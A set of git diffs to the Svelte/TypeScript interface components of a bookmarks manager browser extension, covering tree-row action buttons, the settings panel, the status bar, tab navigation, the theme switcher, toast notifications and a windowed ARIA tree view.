* A tree row's buttons — docs/06 §3.3. Mouse shortcuts, each with a keyboard
|
||||
* equivalent on the tree (docs/06 §5), so none of them is a tab stop. The
|
||||
* writing ones are disabled while a bulk command runs: a second sort started
|
||||
* from a row used to fail with two false messages and re-enable the toolbar
|
||||
* mid-sort (v1.1.0 review).
|
||||
*/
|
||||
import type { EditNode } from '../edit/patch-tree';
|
||||
import { t } from '../i18n/index.svelte';
|
||||
import type { EditSession } from '../stores/edit-session.svelte';
|
||||
import Icon from './icons/Icon.svelte';
|
||||
|
||||
interface Props {
|
||||
node: EditNode;
|
||||
session: EditSession;
|
||||
editable: boolean;
|
||||
onopen: (node: EditNode) => void;
|
||||
oncopy: (node: EditNode) => void;
|
||||
onsort: (node: EditNode) => void;
|
||||
}
|
||||
|
||||
let { node, session, editable, onopen, oncopy, onsort }: Props = $props();
|
||||
|
||||
/** A row button must not also focus or activate the row under it. */
|
||||
function act(run: () => void): (event: MouseEvent) => void {
|
||||
return (event) => {
|
||||
event.stopPropagation();
|
||||
run();
|
||||
};
|
||||
}
|
||||
</script>
|
||||
|
||||
<span class="actions">
|
||||
{#if node.url !== undefined}
|
||||
<button tabindex="-1" title={t('edit.open')} aria-label={t('edit.open')} onclick={act(() => onopen(node))}>
|
||||
<Icon name="external" size={14} />
|
||||
</button>
|
||||
<button tabindex="-1" title={t('edit.copyUrl')} aria-label={t('edit.copyUrl')} onclick={act(() => oncopy(node))}>
|
||||
<Icon name="copy" size={14} />
|
||||
</button>
|
||||
{/if}
|
||||
{#if session.canSort(node)}
|
||||
<button tabindex="-1" disabled={session.busy} title={t('edit.sort')} aria-label={t('edit.sort')} onclick={act(() => onsort(node))}>
|
||||
<Icon name="sort" size={14} motion="bob" />
|
||||
</button>
|
||||
{/if}
|
||||
{#if editable}
|
||||
<button tabindex="-1" disabled={session.busy} title={t('edit.rename')} aria-label={t('edit.rename')} onclick={act(() => session.startRename(node))}>
|
||||
<Icon name="edit" size={14} />
|
||||
</button>
|
||||
<button tabindex="-1" disabled={session.busy} title={t('edit.moveTo')} aria-label={t('edit.moveTo')} onclick={act(() => session.startMove(node))}>
|
||||
<Icon name="move" size={14} motion="bob" />
|
||||
</button>
|
||||
<button tabindex="-1" disabled={session.busy} class="delete" title={t('edit.delete')} aria-label={t('edit.delete')} onclick={act(() => session.requestDelete(node, 'tree'))}>
|
||||
<Icon name="trash" size={14} motion="tilt" />
|
||||
</button>
|
||||
{/if}
|
||||
</span>
|
||||
|
||||
<style>
|
||||
.actions {
|
||||
margin-left: auto;
|
||||
display: flex;
|
||||
flex: none;
|
||||
gap: 2px;
|
||||
}
|
||||
|
||||
button {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
padding: 3px;
|
||||
background: none;
|
||||
border: 1px solid transparent;
|
||||
border-radius: var(--radius-sm);
|
||||
color: var(--fg-muted);
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
button:hover:not(:disabled) {
|
||||
color: var(--accent);
|
||||
border-color: var(--border);
|
||||
background: var(--bg);
|
||||
}
|
||||
|
||||
.delete:hover:not(:disabled) {
|
||||
color: var(--danger);
|
||||
}
|
||||
|
||||
button:disabled {
|
||||
cursor: not-allowed;
|
||||
}
|
||||
</style>
|
||||
@@ -25,18 +25,23 @@
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
gap: var(--sp-4);
|
||||
padding: var(--sp-3) 0;
|
||||
padding: var(--sp-3) var(--sp-4);
|
||||
border-bottom: 1px solid var(--border);
|
||||
}
|
||||
|
||||
.row:last-child {
|
||||
border-bottom: none;
|
||||
}
|
||||
|
||||
.text {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--sp-1);
|
||||
gap: 2px;
|
||||
}
|
||||
|
||||
.label {
|
||||
font-size: var(--fs-2);
|
||||
font-size: var(--fs-1);
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.description {
|
||||
|
||||
@@ -71,8 +71,11 @@
|
||||
</script>
|
||||
|
||||
<section aria-label={t('common.settings')}>
|
||||
<h2 class="eyebrow">{t('common.settings')}</h2>
|
||||
<p class="muted">{t('settings.autosave')}</p>
|
||||
|
||||
<div class="panel">
|
||||
|
||||
<SettingRow label={t('settings.language')} description={t('settings.languageNote')}>
|
||||
{#snippet control()}
|
||||
<LanguageSwitcher
|
||||
@@ -155,6 +158,8 @@
|
||||
{/snippet}
|
||||
</SettingRow>
|
||||
|
||||
</div>
|
||||
|
||||
{#if saveDetail !== undefined}
|
||||
<pre class="detail">{saveDetail}</pre>
|
||||
{/if}
|
||||
@@ -176,19 +181,34 @@
|
||||
|
||||
<style>
|
||||
section {
|
||||
max-width: 640px;
|
||||
max-width: 720px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--sp-3);
|
||||
}
|
||||
|
||||
.muted {
|
||||
margin: 0 0 var(--sp-3);
|
||||
margin: 0;
|
||||
color: var(--fg-muted);
|
||||
font-size: var(--fs-1);
|
||||
}
|
||||
|
||||
h2 {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
/* The rows sit in one bordered panel, like a preferences pane. */
|
||||
.panel {
|
||||
border: 1px solid var(--border-strong);
|
||||
border-radius: var(--radius);
|
||||
background: var(--bg);
|
||||
}
|
||||
|
||||
select {
|
||||
font: inherit;
|
||||
padding: var(--sp-1) var(--sp-2);
|
||||
border: 1px solid var(--border);
|
||||
font-size: var(--fs-1);
|
||||
padding: 5px var(--sp-2);
|
||||
border: 1px solid var(--border-strong);
|
||||
border-radius: var(--radius-sm);
|
||||
background: var(--bg);
|
||||
color: var(--fg);
|
||||
@@ -199,18 +219,19 @@
|
||||
}
|
||||
|
||||
.detail {
|
||||
margin: var(--sp-3) 0 0;
|
||||
padding: var(--sp-2);
|
||||
border: 1px solid var(--border);
|
||||
margin: 0;
|
||||
padding: var(--sp-2) var(--sp-3);
|
||||
border: 1px solid var(--border-strong);
|
||||
border-radius: var(--radius-sm);
|
||||
background: var(--bg-raised);
|
||||
background: var(--bg-sunken);
|
||||
color: var(--fg-muted);
|
||||
font-family: var(--font-mono);
|
||||
font-size: var(--fs-0);
|
||||
white-space: pre-wrap;
|
||||
overflow-x: auto;
|
||||
}
|
||||
|
||||
footer {
|
||||
padding-top: var(--sp-4);
|
||||
padding-top: var(--sp-2);
|
||||
}
|
||||
</style>
|
||||
@@ -10,36 +10,50 @@
|
||||
let { stats, duplicates }: Props = $props();
|
||||
</script>
|
||||
|
||||
<!-- A readout: mono numerals, small spaced labels. -->
|
||||
<dl>
|
||||
<div><dt>{t('import.stats.bookmarks')}</dt><dd>{num(stats.bookmarks)}</dd></div>
|
||||
<div><dt>{t('import.stats.folders')}</dt><dd>{num(stats.folders)}</dd></div>
|
||||
<div><dt>{t('import.stats.depth')}</dt><dd>{num(stats.maxDepth)}</dd></div>
|
||||
<div><dt>{t('import.stats.duplicates')}</dt><dd>{num(duplicates)}</dd></div>
|
||||
<div><dt class="eyebrow">{t('import.stats.bookmarks')}</dt><dd class="mono">{num(stats.bookmarks)}</dd></div>
|
||||
<div><dt class="eyebrow">{t('import.stats.folders')}</dt><dd class="mono">{num(stats.folders)}</dd></div>
|
||||
<div><dt class="eyebrow">{t('import.stats.depth')}</dt><dd class="mono">{num(stats.maxDepth)}</dd></div>
|
||||
<div class:hot={duplicates > 0}>
|
||||
<dt class="eyebrow">{t('import.stats.duplicates')}</dt><dd class="mono">{num(duplicates)}</dd>
|
||||
</div>
|
||||
</dl>
|
||||
|
||||
<style>
|
||||
dl {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(2, 1fr);
|
||||
gap: var(--sp-2);
|
||||
margin: 0;
|
||||
border: 1px solid var(--border-strong);
|
||||
border-radius: var(--radius);
|
||||
background: var(--bg-sunken);
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
div {
|
||||
background: var(--bg-raised);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius-sm);
|
||||
padding: var(--sp-2) var(--sp-3);
|
||||
border-right: 1px solid var(--border);
|
||||
border-bottom: 1px solid var(--border);
|
||||
}
|
||||
|
||||
dt {
|
||||
font-size: var(--fs-0);
|
||||
color: var(--fg-muted);
|
||||
div:nth-child(2n) {
|
||||
border-right: none;
|
||||
}
|
||||
|
||||
div:nth-last-child(-n + 2) {
|
||||
border-bottom: none;
|
||||
}
|
||||
|
||||
dd {
|
||||
margin: 0;
|
||||
font-size: var(--fs-3);
|
||||
font-size: var(--fs-4);
|
||||
font-weight: 600;
|
||||
line-height: 1.25;
|
||||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
|
||||
.hot dd {
|
||||
color: var(--warn);
|
||||
}
|
||||
</style>
|
||||
@@ -0,0 +1,116 @@
|
||||
<script lang="ts">
|
||||
/**
|
||||
* The Manager's IDE-style status bar — docs/06 §2: what this build is, what
|
||||
* it can touch, and the two secondary routes. Those two are gated like the
|
||||
* tab bar: navigating away mid-write unmounts ImportTab and strands the
|
||||
* attestation resolver, which deadlocked the whole import — docs/03 §5.
|
||||
*/
|
||||
import { getAppVersion } from '../browser/app-info';
|
||||
import { t } from '../i18n/index.svelte';
|
||||
import { REPO_URL } from '../links';
|
||||
import { isWriting } from '../stores/import-session.svelte';
|
||||
import { getRoute, navigate } from '../stores/route.svelte';
|
||||
import Icon from './icons/Icon.svelte';
|
||||
|
||||
const version = getAppVersion();
|
||||
</script>
|
||||
|
||||
<footer class="mono">
|
||||
<span class="cell local" title={t('status.localNote')}>
|
||||
<span class="dot" aria-hidden="true"></span>{t('status.local')}
|
||||
</span>
|
||||
<span class="cell" title={t('status.permissionsNote')}>
|
||||
<Icon name="shield" size={12} />bookmarks, storage
|
||||
</span>
|
||||
{#if version !== ''}<span class="cell">v{version}</span>{/if}
|
||||
<span class="cell">GPL-3.0</span>
|
||||
<a class="cell" href={REPO_URL} target="_blank" rel="noopener noreferrer">
|
||||
<Icon name="code" size={12} />GitHub
|
||||
</a>
|
||||
<nav aria-label={t('status.more')}>
|
||||
<button
|
||||
class="cell"
|
||||
aria-current={getRoute() === 'settings' ? 'page' : undefined}
|
||||
disabled={isWriting()}
|
||||
title={isWriting() ? t('common.busy') : undefined}
|
||||
onclick={() => navigate('settings')}
|
||||
>
|
||||
<Icon name="gear" size={12} motion="spin" />{t('common.settings')}
|
||||
</button>
|
||||
<button
|
||||
class="cell"
|
||||
aria-current={getRoute() === 'about' ? 'page' : undefined}
|
||||
disabled={isWriting()}
|
||||
title={isWriting() ? t('common.busy') : undefined}
|
||||
onclick={() => navigate('about')}
|
||||
>
|
||||
<Icon name="info" size={12} />{t('common.about')}
|
||||
</button>
|
||||
</nav>
|
||||
</footer>
|
||||
|
||||
<style>
|
||||
footer {
|
||||
position: sticky;
|
||||
bottom: 0;
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
align-items: stretch;
|
||||
gap: 0;
|
||||
padding: 0 max(var(--sp-2), calc((100% - var(--width-page)) / 2));
|
||||
border-top: 1px solid var(--border);
|
||||
background: var(--bg-sunken);
|
||||
color: var(--fg-muted);
|
||||
font-size: var(--fs-0);
|
||||
}
|
||||
|
||||
.cell {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 5px;
|
||||
padding: 4px var(--sp-2);
|
||||
border-right: 1px solid var(--border);
|
||||
color: inherit;
|
||||
text-decoration: none;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.local {
|
||||
color: var(--success);
|
||||
}
|
||||
|
||||
.dot {
|
||||
width: 7px;
|
||||
height: 7px;
|
||||
border-radius: 50%;
|
||||
background: currentColor;
|
||||
}
|
||||
|
||||
footer nav {
|
||||
display: flex;
|
||||
margin-left: auto;
|
||||
}
|
||||
|
||||
footer nav .cell:last-child {
|
||||
border-right: none;
|
||||
}
|
||||
|
||||
footer button {
|
||||
font: inherit;
|
||||
background: none;
|
||||
border: none;
|
||||
border-left: 1px solid var(--border);
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
a.cell:hover,
|
||||
footer button:hover:not(:disabled),
|
||||
footer button[aria-current='page'] {
|
||||
color: var(--accent);
|
||||
background: var(--bg-raised);
|
||||
}
|
||||
|
||||
footer button:disabled {
|
||||
cursor: not-allowed;
|
||||
}
|
||||
</style>
|
||||
@@ -2,6 +2,7 @@
|
||||
import { t } from '../i18n/index.svelte';
|
||||
import { isWriting } from '../stores/import-session.svelte';
|
||||
import { getRoute, navigate, type Route } from '../stores/route.svelte';
|
||||
import Icon, { type IconName } from './icons/Icon.svelte';
|
||||
|
||||
interface Props {
|
||||
/**
|
||||
@@ -18,14 +19,17 @@
|
||||
|
||||
let { blocked = [] }: Props = $props();
|
||||
|
||||
const TABS: { route: Route; key: string }[] = [
|
||||
{ route: 'import', key: 'common.import' },
|
||||
{ route: 'export', key: 'common.export' },
|
||||
{ route: 'edit', key: 'common.edit' },
|
||||
const TABS: { route: Route; key: string; icon: IconName }[] = [
|
||||
{ route: 'import', key: 'common.import', icon: 'upload' },
|
||||
{ route: 'export', key: 'common.export', icon: 'download' },
|
||||
{ route: 'edit', key: 'common.edit', icon: 'edit' },
|
||||
];
|
||||
|
||||
/** Index of the active tab, for the sliding indicator; -1 on #settings/#about. */
|
||||
const active = $derived(TABS.findIndex((tab) => tab.route === getRoute()));
|
||||
</script>
|
||||
|
||||
<nav aria-label={t('common.sections')}>
|
||||
<nav aria-label={t('common.sections')} style:--active={active} class:none={active === -1}>
|
||||
{#each TABS as tab (tab.route)}
|
||||
<button
|
||||
class:active={getRoute() === tab.route}
|
||||
@@ -39,50 +43,97 @@
|
||||
: undefined}
|
||||
onclick={() => navigate(tab.route)}
|
||||
>
|
||||
{t(tab.key)}
|
||||
<Icon name={tab.icon} size={15} motion="bob" />
|
||||
<span>{t(tab.key)}</span>
|
||||
{#if blocked.includes(tab.route)}
|
||||
<Icon name="lock" size={12} /><span class="sr-only">{t('legal.blocked')}</span>
|
||||
{/if}
|
||||
</button>
|
||||
{/each}
|
||||
<span class="indicator" aria-hidden="true"></span>
|
||||
</nav>
|
||||
|
||||
<style>
|
||||
nav {
|
||||
display: flex;
|
||||
gap: var(--sp-1);
|
||||
--tab-width: 7.5rem;
|
||||
position: relative;
|
||||
display: grid;
|
||||
grid-auto-flow: column;
|
||||
grid-auto-columns: var(--tab-width);
|
||||
padding: 3px;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius);
|
||||
background: var(--bg-sunken);
|
||||
}
|
||||
|
||||
button {
|
||||
position: relative;
|
||||
z-index: 1;
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
gap: var(--sp-2);
|
||||
font: inherit;
|
||||
padding: var(--sp-2) var(--sp-3);
|
||||
border: 1px solid transparent;
|
||||
font-size: var(--fs-1);
|
||||
font-weight: 500;
|
||||
padding: 5px var(--sp-3);
|
||||
border: none;
|
||||
border-radius: var(--radius-sm);
|
||||
background: transparent;
|
||||
color: var(--fg-muted);
|
||||
cursor: pointer;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
button:hover:not(:disabled) {
|
||||
color: var(--fg);
|
||||
}
|
||||
|
||||
/* Said with the cursor and the title, not opacity: dimmed text falls under
|
||||
the contrast floor while it still has to be read. */
|
||||
button:disabled {
|
||||
opacity: 0.4;
|
||||
cursor: not-allowed;
|
||||
}
|
||||
|
||||
/* Reachable, but visibly not yet usable — clicking shows the gate.
|
||||
Deliberately NOT `opacity`, which composites the label against the page and
|
||||
dropped --fg-muted from 5.98:1 to 2.83:1. The contrast test reads token
|
||||
values out of tokens.css, so it cannot see an alpha applied on top: this
|
||||
kind of dimming has to be avoided by hand. The padlock and the `title`
|
||||
already carry the signal. */
|
||||
.locked::after {
|
||||
content: ' 🔒';
|
||||
font-size: var(--fs-0);
|
||||
}
|
||||
|
||||
.active {
|
||||
background: var(--bg-raised);
|
||||
border-color: var(--border);
|
||||
color: var(--fg);
|
||||
}
|
||||
|
||||
/* One raised pill behind the active tab; it slides between tabs. */
|
||||
.indicator {
|
||||
position: absolute;
|
||||
top: 3px;
|
||||
bottom: 3px;
|
||||
left: 3px;
|
||||
width: var(--tab-width);
|
||||
border: 1px solid var(--border-strong);
|
||||
border-radius: var(--radius-sm);
|
||||
background: var(--bg);
|
||||
box-shadow: var(--shadow-1);
|
||||
transform: translateX(calc(var(--active) * var(--tab-width)));
|
||||
}
|
||||
|
||||
.none .indicator {
|
||||
visibility: hidden;
|
||||
}
|
||||
|
||||
@media (max-width: 560px) {
|
||||
nav {
|
||||
--tab-width: 2.75rem;
|
||||
}
|
||||
|
||||
button span {
|
||||
position: absolute;
|
||||
width: 1px;
|
||||
height: 1px;
|
||||
overflow: hidden;
|
||||
clip: rect(0 0 0 0);
|
||||
}
|
||||
}
|
||||
|
||||
@media (prefers-reduced-motion: no-preference) {
|
||||
.indicator {
|
||||
transition: transform var(--dur-2) var(--ease);
|
||||
}
|
||||
}
|
||||
</style>
|
||||
@@ -2,6 +2,7 @@
|
||||
import type { ThemePreference } from '../browser/storage';
|
||||
import { t } from '../i18n/index.svelte';
|
||||
import { THEME_CHOICES } from '../settings/options';
|
||||
import Icon, { type IconName } from './icons/Icon.svelte';
|
||||
|
||||
interface Props {
|
||||
value: ThemePreference;
|
||||
@@ -12,17 +13,14 @@
|
||||
|
||||
let { value, onchange, compact = false }: Props = $props();
|
||||
|
||||
// docs/06 §3 sketches a single ◐ that cycles. A segmented control instead:
|
||||
// one code path for both placements, and the current choice is visible rather
|
||||
// than inferred — a cycling button conflates "what am I" with "what's next".
|
||||
// The compact header variant shows glyphs only, so they have to be legible at
|
||||
// ~13px. U+263E (☾) was tried and is a thin crescent that reads as a capital
|
||||
// "C" at that size — emoji are unambiguous and match the popup's existing
|
||||
// ⬆/⬇/🗂 vocabulary. The accessible name comes from aria-label either way.
|
||||
const GLYPH: Record<ThemePreference, string> = {
|
||||
system: '◐',
|
||||
light: '☀️',
|
||||
dark: '🌙',
|
||||
// A segmented control rather than docs/06 §3's single cycling glyph: one code
|
||||
// path for both placements, and the current choice is visible rather than
|
||||
// inferred. Self-drawn icons replace 1.0.x's emoji, which rendered differently
|
||||
// on every OS and could not follow the theme's colours.
|
||||
const GLYPH: Record<ThemePreference, IconName> = {
|
||||
system: 'monitor',
|
||||
light: 'sun',
|
||||
dark: 'moon',
|
||||
};
|
||||
|
||||
let buttons: HTMLButtonElement[] = $state([]);
|
||||
@@ -76,11 +74,8 @@
|
||||
onclick={() => onchange(choice.value)}
|
||||
onkeydown={onKeyDown}
|
||||
>
|
||||
{#if compact}
|
||||
<span aria-hidden="true">{GLYPH[choice.value]}</span>
|
||||
{:else}
|
||||
{t(choice.labelKey)}
|
||||
{/if}
|
||||
<Icon name={GLYPH[choice.value]} size={14} motion={choice.value === 'light' ? 'spin' : 'none'} />
|
||||
{#if !compact}<span>{t(choice.labelKey)}</span>{/if}
|
||||
</button>
|
||||
{/each}
|
||||
</div>
|
||||
@@ -92,13 +87,16 @@
|
||||
The corner rounding it was for is done per-child instead. */
|
||||
.group {
|
||||
display: inline-flex;
|
||||
border: 1px solid var(--border);
|
||||
border: 1px solid var(--border-strong);
|
||||
border-radius: var(--radius-sm);
|
||||
}
|
||||
|
||||
button {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: var(--sp-2);
|
||||
font: inherit;
|
||||
padding: var(--sp-1) var(--sp-3);
|
||||
padding: 5px var(--sp-3);
|
||||
border: none;
|
||||
border-right: 1px solid var(--border);
|
||||
background: var(--bg);
|
||||
@@ -133,6 +131,6 @@
|
||||
}
|
||||
|
||||
.compact button {
|
||||
padding: var(--sp-1) var(--sp-2);
|
||||
padding: 5px 7px;
|
||||
}
|
||||
</style>
|
||||
@@ -1,8 +1,11 @@
|
||||
<script lang="ts">
|
||||
import { t } from '../i18n/index.svelte';
|
||||
import { dismissToast, getVisibleToast } from '../stores/toast.svelte';
|
||||
import { dismissToast, getPinnedToast, getVisibleToast } from '../stores/toast.svelte';
|
||||
import Icon from './icons/Icon.svelte';
|
||||
|
||||
const toast = $derived(getVisibleToast());
|
||||
const failure = $derived(getPinnedToast());
|
||||
const shown = $derived([failure, toast].filter((item) => item !== undefined));
|
||||
</script>
|
||||
|
||||
<!-- Both live regions are ALWAYS in the DOM and only their text changes.
|
||||
@@ -16,19 +19,30 @@
|
||||
changing a live region's politeness at runtime is not reliably picked up.
|
||||
Assertive interrupts, which is right for a failure and wrong for a
|
||||
confirmation — the same split Callout already makes. -->
|
||||
<div class="sr-only" role="status" aria-live="polite">
|
||||
{toast !== undefined && toast.tone !== 'danger' ? toast.message : ''}
|
||||
</div>
|
||||
<div class="sr-only" role="alert" aria-live="assertive">
|
||||
{toast?.tone === 'danger' ? toast.message : ''}
|
||||
</div>
|
||||
<div class="sr-only" role="status" aria-live="polite">{toast?.message ?? ''}</div>
|
||||
<div class="sr-only" role="alert" aria-live="assertive">{failure?.message ?? ''}</div>
|
||||
|
||||
{#if toast !== undefined}
|
||||
<div class="toast {toast.tone}">
|
||||
<!-- Hidden from assistive tech: the live regions above already carry it,
|
||||
and announcing it twice is worse than not styling it. -->
|
||||
<span aria-hidden="true">{toast.message}</span>
|
||||
<button aria-label={t('common.dismiss')} onclick={() => dismissToast(toast.id)}>✕</button>
|
||||
<!-- A failure stays pinned above the transient toast until it is dismissed;
|
||||
the queue below it keeps moving (docs/06 §4). -->
|
||||
{#if shown.length > 0}
|
||||
<div class="stack">
|
||||
{#each shown as item (item.id)}
|
||||
<div class="toast {item.tone}">
|
||||
<span class="glyph" aria-hidden="true">
|
||||
<Icon
|
||||
name={item.tone === 'danger' ? 'error' : item.tone === 'success' ? 'check' : 'info'}
|
||||
motion={item.tone === 'success' ? 'draw' : 'none'}
|
||||
size={16}
|
||||
/>
|
||||
</span>
|
||||
<!-- Hidden from assistive tech: the live regions above already carry it,
|
||||
and announcing it twice is worse than not styling it. -->
|
||||
<span class="message" aria-hidden="true">{item.message}</span>
|
||||
<button aria-label={t('common.dismiss')} onclick={() => dismissToast(item.id)}>
|
||||
<Icon name="close" size={14} />
|
||||
</button>
|
||||
</div>
|
||||
{/each}
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
@@ -42,38 +56,64 @@
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.toast {
|
||||
.stack {
|
||||
position: fixed;
|
||||
right: var(--sp-4);
|
||||
bottom: var(--sp-4);
|
||||
z-index: 10;
|
||||
bottom: calc(var(--sp-6) + var(--sp-2));
|
||||
z-index: var(--z-toast);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
flex-direction: column;
|
||||
align-items: flex-end;
|
||||
gap: var(--sp-2);
|
||||
max-width: min(48ch, calc(100vw - 2 * var(--sp-4)));
|
||||
}
|
||||
|
||||
.toast {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
gap: var(--sp-3);
|
||||
max-width: 44ch;
|
||||
padding: var(--sp-2) var(--sp-3);
|
||||
border: 1px solid var(--border);
|
||||
padding: var(--sp-3);
|
||||
border: 1px solid var(--border-strong);
|
||||
border-left: 3px solid var(--fg-muted);
|
||||
border-radius: var(--radius-sm);
|
||||
background: var(--bg-raised);
|
||||
border-radius: var(--radius);
|
||||
background: var(--bg);
|
||||
color: var(--fg);
|
||||
font-size: var(--fs-1);
|
||||
box-shadow: 0 4px 16px rgb(0 0 0 / 0.18);
|
||||
box-shadow: var(--shadow-2);
|
||||
}
|
||||
|
||||
.glyph {
|
||||
display: inline-flex;
|
||||
padding-top: 1px;
|
||||
color: var(--fg-muted);
|
||||
}
|
||||
|
||||
.message {
|
||||
flex: 1;
|
||||
}
|
||||
|
||||
.success {
|
||||
border-left-color: var(--success);
|
||||
}
|
||||
|
||||
.success .glyph {
|
||||
color: var(--success);
|
||||
}
|
||||
|
||||
.danger {
|
||||
border-left-color: var(--danger);
|
||||
}
|
||||
|
||||
.danger .glyph {
|
||||
color: var(--danger);
|
||||
}
|
||||
|
||||
button {
|
||||
font: inherit;
|
||||
display: inline-flex;
|
||||
flex-shrink: 0;
|
||||
padding: 0;
|
||||
padding: 2px;
|
||||
border: none;
|
||||
border-radius: var(--radius-sm);
|
||||
background: none;
|
||||
color: var(--fg-muted);
|
||||
cursor: pointer;
|
||||
@@ -81,5 +121,19 @@
|
||||
|
||||
button:hover {
|
||||
color: var(--fg);
|
||||
background: var(--bg-raised);
|
||||
}
|
||||
|
||||
@media (prefers-reduced-motion: no-preference) {
|
||||
.toast {
|
||||
animation: slide-in var(--dur-3) var(--ease);
|
||||
}
|
||||
|
||||
@keyframes slide-in {
|
||||
from {
|
||||
opacity: 0;
|
||||
transform: translateX(16px);
|
||||
}
|
||||
}
|
||||
}
|
||||
</style>
|
||||
@@ -1,142 +1,180 @@
|
||||
<script lang="ts">
|
||||
/**
|
||||
* The `role="tree"` container and its rows — docs/06 §3.3.
|
||||
* The `role="tree"` container and its rows — docs/06 §3.3, docs/05 §9.
|
||||
*
|
||||
* Split out of `EditTab` so the ARIA structure lives in one place rather than
|
||||
* inside a component that also owns loading, searching, mutation and five
|
||||
* dialogs. The WAI-ARIA tree pattern is exacting — roving focus expressed
|
||||
* through `aria-activedescendant`, `aria-level` starting at 1, `aria-expanded`
|
||||
* present only on expandable rows — and it is easier to keep right when it is
|
||||
* not surrounded by unrelated state.
|
||||
* The ARIA tree pattern lives here: roving focus through
|
||||
* `aria-activedescendant`, `aria-level` from 1, `aria-expanded` only on
|
||||
* expandable rows, and — because rows render flat — explicit
|
||||
* `aria-setsize`/`aria-posinset`. The keydown handler sits on this focusable
|
||||
* `<ul>`; one on a non-focusable wrapper would never fire.
|
||||
*
|
||||
* The keydown handler lives on this `<ul>`, not on a wrapper: a keydown
|
||||
* handler on a non-focusable container never fires, and svelte-check flags it.
|
||||
* Rendering is bounded (docs/05 §9): a window of 500 rows that always holds
|
||||
* the focused one, with "Show earlier" / "Show more" around it. 1.0.x
|
||||
* rendered every visible row in one pass, so "Expand all" on a large profile
|
||||
* froze the tab; 1.1.0's first cut grew a prefix from row 0, so End did the
|
||||
* same (`edit/row-window.ts`).
|
||||
*/
|
||||
import { untrack } from 'svelte';
|
||||
import type { EditNode } from '../edit/patch-tree';
|
||||
import type { VisibleRow } from '../edit/tree-keyboard';
|
||||
import { t } from '../i18n/index.svelte';
|
||||
import {
|
||||
follow,
|
||||
INITIAL_WINDOW,
|
||||
mounted,
|
||||
type RowWindow,
|
||||
showEarlier,
|
||||
showLater,
|
||||
WINDOW,
|
||||
} from '../edit/row-window';
|
||||
import { num, t, tPlural } from '../i18n/index.svelte';
|
||||
import type { EditSession } from '../stores/edit-session.svelte';
|
||||
import TreeRow from './TreeRow.svelte';
|
||||
|
||||
interface Props {
|
||||
rows: readonly VisibleRow[];
|
||||
focusedId: string | undefined;
|
||||
renamingId: string | undefined;
|
||||
/** Ids matching the current search, highlighted rather than filtered. */
|
||||
matched: ReadonlySet<string>;
|
||||
/** True while a search is narrowing the tree — picks the empty message. */
|
||||
filtering: boolean;
|
||||
draggingId: string | undefined;
|
||||
editable: (node: EditNode) => boolean;
|
||||
canDropInto: (id: string) => boolean;
|
||||
session: EditSession;
|
||||
element?: HTMLElement | undefined;
|
||||
onkeydown: (event: KeyboardEvent) => void;
|
||||
ontoggle: (id: string) => void;
|
||||
onfocusRow: (id: string) => void;
|
||||
onstartRename: (id: string) => void;
|
||||
onrename: (id: string, title: string) => void;
|
||||
oncancelRename: () => void;
|
||||
ondelete: (node: EditNode) => void;
|
||||
onopen: (node: EditNode) => void;
|
||||
oncopyUrl: (node: EditNode) => void;
|
||||
onmoveTo: (node: EditNode) => void;
|
||||
ondragstart: (id: string) => void;
|
||||
ondropinto: (id: string) => void;
|
||||
oncopy: (node: EditNode) => void;
|
||||
onsort: (node: EditNode) => void;
|
||||
}
|
||||
|
||||
let {
|
||||
rows,
|
||||
focusedId,
|
||||
renamingId,
|
||||
matched,
|
||||
filtering,
|
||||
draggingId,
|
||||
editable,
|
||||
canDropInto,
|
||||
element = $bindable(),
|
||||
onkeydown,
|
||||
ontoggle,
|
||||
onfocusRow,
|
||||
onstartRename,
|
||||
onrename,
|
||||
oncancelRename,
|
||||
ondelete,
|
||||
onopen,
|
||||
oncopyUrl,
|
||||
onmoveTo,
|
||||
ondragstart,
|
||||
ondropinto,
|
||||
}: Props = $props();
|
||||
let { session, element = $bindable(), onkeydown, onopen, oncopy, onsort }: Props = $props();
|
||||
|
||||
let win = $state<RowWindow>(INITIAL_WINDOW);
|
||||
|
||||
const rows = $derived(session.rows);
|
||||
const focusIndex = $derived(rows.findIndex((row) => row.node.id === session.focusedId));
|
||||
// Derived, not written back by an effect: the active descendant must be in
|
||||
// the DOM in the same render that focuses it, or the screen reader and the
|
||||
// scroll-into-view both lose it.
|
||||
const range = $derived(mounted(follow(win, focusIndex, rows.length), rows.length));
|
||||
const shown = $derived(rows.slice(range.from, range.to));
|
||||
const later = $derived(rows.length - range.to);
|
||||
|
||||
// A focused row that left the screen (collapsed, moved, filtered out,
|
||||
// deleted elsewhere) hands focus to its nearest visible folder, and a
|
||||
// rename whose row is hidden is dropped.
|
||||
$effect(() => {
|
||||
void rows;
|
||||
void session.focusedId;
|
||||
void session.renamingId;
|
||||
untrack(() => session.repairFocus());
|
||||
});
|
||||
|
||||
// Keep the focused row on screen — the tree is a fixed-height scroller.
|
||||
// Tracks the focus alone: following every tree change would yank the view
|
||||
// back to the focus each time a live event landed while the user scrolled.
|
||||
$effect(() => {
|
||||
const id = session.focusedId;
|
||||
if (id === undefined || element === undefined) return;
|
||||
untrack(() =>
|
||||
element?.querySelector(`[data-node-id="${CSS.escape(id)}"]`)?.scrollIntoView({ block: 'nearest' }),
|
||||
);
|
||||
});
|
||||
|
